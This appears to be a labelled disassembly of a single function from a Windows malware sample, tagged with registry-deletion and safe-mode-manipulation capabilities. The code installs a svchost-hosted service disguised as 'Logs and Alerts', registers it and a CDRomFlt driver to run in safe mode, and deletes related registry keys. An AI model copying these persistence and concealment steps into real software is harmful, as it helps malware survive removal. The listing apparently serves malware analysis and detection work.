Function at 0x1001b4c0
Capabilities:
Delete registry key
Delete registry value
Manipulate safe mode programs

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1012b571
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5d8
mov eax, dword [0x10194180]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
push esi
call fcn.1001a1e0
add esp, 4
test al, al
jne 0x1001b559
push 0xf003f
lea ecx, [ebp - 0x52c]
call fcn.10072280
xor ebx, ebx
mov dword [ebp - 4], ebx
push ebx
push ebx
push ebx
push ebx
push ebx
mov eax, dword [ebp + 0x10]
push eax
push 1
push 2
push 0x20
mov ecx, dword [ebp + 0xc]
push ecx
push esi
lea edx, [ebp - 0x584]
push edx
lea ecx, [ebp - 0x52c]
call fcn.100723b0
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x584]
call fcn.10072210
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x52c]
call fcn.10072210
jmp 0x1001b55b
xor ebx, ebx
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x528]
call fcn.1006cb70
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x5d4]
call fcn.1006cb70
mov byte [ebp - 4], 6
push esi
push str.systemcurrentcontrolset_services_s_
lea eax, [ebp - 0x118]
push eax
call fcn.100578f4
add esp, 0xc
mov dword [ebp - 0x594], ebx
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x590], ecx
mov byte [ebp - 4], 7
push ebx
push 1
lea edx, [ebp - 0x594]
push edx
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x594]
call fcn.10008420
push 2
push str.Start
lea ecx, [ebp - 0x528]
call fcn.1006ca60
push 0x20
push 0x1013852c
lea ecx, [ebp - 0x528]
call fcn.1006ca60
push 0x10138478
push str.Description
lea ecx, [ebp - 0x528]
call fcn.1006ca90
push str.LocalSystem
push str.ObjectName
lea ecx, [ebp - 0x528]
call fcn.1006ca90
push str.Logs_and_Alerts
push str.DisplayName
lea ecx, [ebp - 0x528]
call fcn.1006ca90
push 1
push str.ErrorControl
lea ecx, [ebp - 0x528]
call fcn.1006ca60
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x5b8], eax
push str.DeleteFlag
push ebx
push eax
mov edi, dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
call edi
mov eax, dword [ebp + 0x14]
push eax
push str.__systemroot___system32_svchost.exe__k__s
lea ecx, [ebp - 0x518]
push ecx
call fcn.100578f4
add esp, 0xc
lea eax, [ebp - 0x518]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1001b685
sub eax, ecx
inc eax
push eax
lea edx, [ebp - 0x518]
push edx
push 2
push str.imagePath
lea ecx, [ebp - 0x528]
call fcn.1006ca20
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x5c0], eax
push str.FailureActions
push ebx
push eax
call edi
mov dword [ebp - 0x5a0], ebx
mov dword [ebp - 0x59c], str.parameters
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x5dc], eax
push ebx
push 1
lea ecx, [ebp - 0x5a0]
push ecx
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x5a0]
call fcn.10008420
mov eax, dword [ebp + 0x10]
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1001b710
sub eax, edi
inc eax
push eax
mov edx, dword [ebp + 0x10]
push edx
push 2
push str.ServiceDll
lea ecx, [ebp - 0x5d4]
call fcn.1006ca20
push esi
call fcn.1001a310
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x118]
rep stosd dword es:[edi], eax
push esi
push str.SYSTEMCurrentControlSetControlSafeBootMinimal_s
lea eax, [ebp - 0x118]
push eax
call fcn.100578f4
add esp, 0x10
mov dword [ebp - 0x580], ebx
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x57c], ecx
mov byte [ebp - 4], 9
push ebx
push 1
lea edx, [ebp - 0x580]
push edx
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x580]
call fcn.10008420
push str.Service
lea ecx, [ebp - 0x528]
call fcn.1006cae0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x118]
rep stosd dword es:[edi], eax
push esi
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_s
lea eax, [ebp - 0x118]
push eax
call fcn.100578f4
add esp, 0xc
mov dword [ebp - 0x560], ebx
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x55c], ecx
mov byte [ebp - 4], 0xa
push ebx
push 1
lea edx, [ebp - 0x560]
push edx
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x560]
call fcn.10008420
push str.Service
lea ecx, [ebp - 0x528]
call fcn.1006cae0
push 0x10138360
push str.systemcurrentcontrolset_services_s_
lea eax, [ebp - 0x118]
push eax
call fcn.100578f4
add esp, 0xc
mov dword [ebp - 0x548], ebx
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x544], ecx
mov byte [ebp - 4], 0xb
push ebx
push 1
lea edx, [ebp - 0x548]
push edx
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x548]
call fcn.10008420
push 2
push str.Start
lea ecx, [ebp - 0x528]
call fcn.1006ca60
mov dword [ebp - 0x570], ebx
mov dword [ebp - 0x56c], str.SYSTEMCurrentControlSetControlSafeBootMinimalCDRomFlt
mov byte [ebp - 4], 0xc
push ebx
push 1
lea eax, [ebp - 0x570]
push eax
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x570]
call fcn.10008420
push str.Service
lea ecx, [ebp - 0x528]
call fcn.1006cae0
mov dword [ebp - 0x58c], ebx
mov dword [ebp - 0x588], str.SYSTEMCurrentControlSetControlSafeBootMinimalCDRomFlt.sys
mov byte [ebp - 4], 0xd
push ebx
push 1
lea ecx, [ebp - 0x58c]
push ecx
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x58c]
call fcn.10008420
push str.Driver
lea ecx, [ebp - 0x528]
call fcn.1006cae0
mov dword [ebp - 0x550], ebx
mov dword [ebp - 0x54c], str.SYSTEMCurrentControlSetControlSafeBootNetworkCDRomFlt
mov byte [ebp - 4], 0xe
push ebx
push 1
lea edx, [ebp - 0x550]
push edx
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x550]
call fcn.10008420
push str.Service
lea ecx, [ebp - 0x528]
call fcn.1006cae0
mov dword [ebp - 0x558], ebx
mov dword [ebp - 0x554], str.SYSTEMCurrentControlSetControlSafeBootNetworkCDRomFlt.sys
mov byte [ebp - 4], 0xf
push ebx
push 1
lea eax, [ebp - 0x558]
push eax
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x558]
call fcn.10008420
push str.Driver
lea ecx, [ebp - 0x528]
call fcn.1006cae0
push str.CDRomFlt
push str.systemcurrentcontrolset_services_s_
lea ecx, [ebp - 0x118]
push ecx
call fcn.100578f4
add esp, 0xc
mov dword [ebp - 0x568], ebx
lea edx, [ebp - 0x118]
mov dword [ebp - 0x564], edx
mov byte [ebp - 4], 0x10
push ebx
push 1
lea eax, [ebp - 0x568]
push eax
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x568]
call fcn.10008420
push 2
push str.Start
lea ecx, [ebp - 0x528]
call fcn.1006ca60
push str.SYSTEMCurrentControlSetControlSafeBootNetwork36FC9E60_C465_11CF_8056_444553540000
push connect
mov edi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
call edi
push str.SYSTEMCurrentControlSetControlSafeBootMinimal36FC9E60_C465_11CF_8056_444553540000
push connect
call edi
push str.SYSTEMCurrentControlSetHardware_ProfilesCurrentSystemCurrentControlSetEnumROOTLEGACY_GS
push connect
call edi
push str.SYSTEMCurrentControlSetHardware_ProfilesCurrentSystemCurrentControlSetEnumROOTLEGACY_CDROMFLT
push connect
call edi
push str.SYSTEMCurrentControlSetHardware_ProfilesCurrentSystemCurrentControlSetEnumROOTLEGACY_TDIP
push connect
call edi
mov dword [ebp - 0x578], ebx
mov dword [ebp - 0x574], str.softwaremicrosoftwindows_NTcurrentVersion_svchost_
mov byte [ebp - 4], 0x11
push ebx
push ebx
lea ecx, [ebp - 0x578]
push ecx
push connect
lea ecx, [ebp - 0x528]
call fcn.1006cf60
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x578]
call fcn.10008420
mov edi, dword [ebp + 0x14]
push edi
lea ecx, [ebp - 0x528]
call fcn.1006cb20
test al, al
je 0x1001bb92
mov dword [ebp - 0x53c], ebx
mov dword [ebp - 0x538], ebx
mov dword [ebp - 0x534], ebx
mov byte [ebp - 4], 0x12
lea edx, [ebp - 0x540]
push edx
push edi
lea ecx, [ebp - 0x528]
call fcn.1006d670
mov dword [ebp - 0x598], esi
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x5e4], eax
mov ebx, eax
mov dword [ebp - 0x5ac], ebx
mov dword [ebp - 0x5c4], eax
mov dword [ebp - 0x5b4], eax
mov ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x5e0], ecx
mov dword [ebp - 0x5bc], ecx
lea edx, [ebp - 0x598]
push edx
push eax
push ecx
lea eax, [ebp - 0x5d8]
push eax
call fcn.1001a4f0
add esp, 0x10
mov dword [ebp - 0x5a8], eax
cmp dword [eax], ebx
jne 0x1001bb81
push esi
lea ecx, [ebp - 0x530]
call fcn.100019d0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x530]
push ecx
lea ecx, [ebp - 0x540]
call fcn.10010920
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x530]
call fcn.10001c80
lea edx, [ebp - 0x540]
push edx
push edi
lea ecx, [ebp - 0x528]
call fcn.1006cd90
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x540]
call fcn.1000fcd0
jmp 0x1001bbdf
lea ecx, [ebp - 0x518]
mov al, byte [esi]
mov byte [ecx], al
inc esi
inc ecx
cmp al, bl
jne 0x1001bb98
lea eax, [ebp - 0x518]
lea edx, [eax + 1]
jmp 0x1001bbb0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1001bbb0
sub eax, edx
add eax, 2
mov dword [ebp - 0x5b0], eax
mov byte [ebp + eax - 0x519], bl
push eax
lea eax, [ebp - 0x518]
push eax
push 7
push edi
lea ecx, [ebp - 0x528]
call fcn.1006ca20
lea ecx, [ebp - 0x528]
call fcn.1006cd10
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x5d4]
call fcn.1006ce30
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x528]
call fcn.1006ce30
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.100571c6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret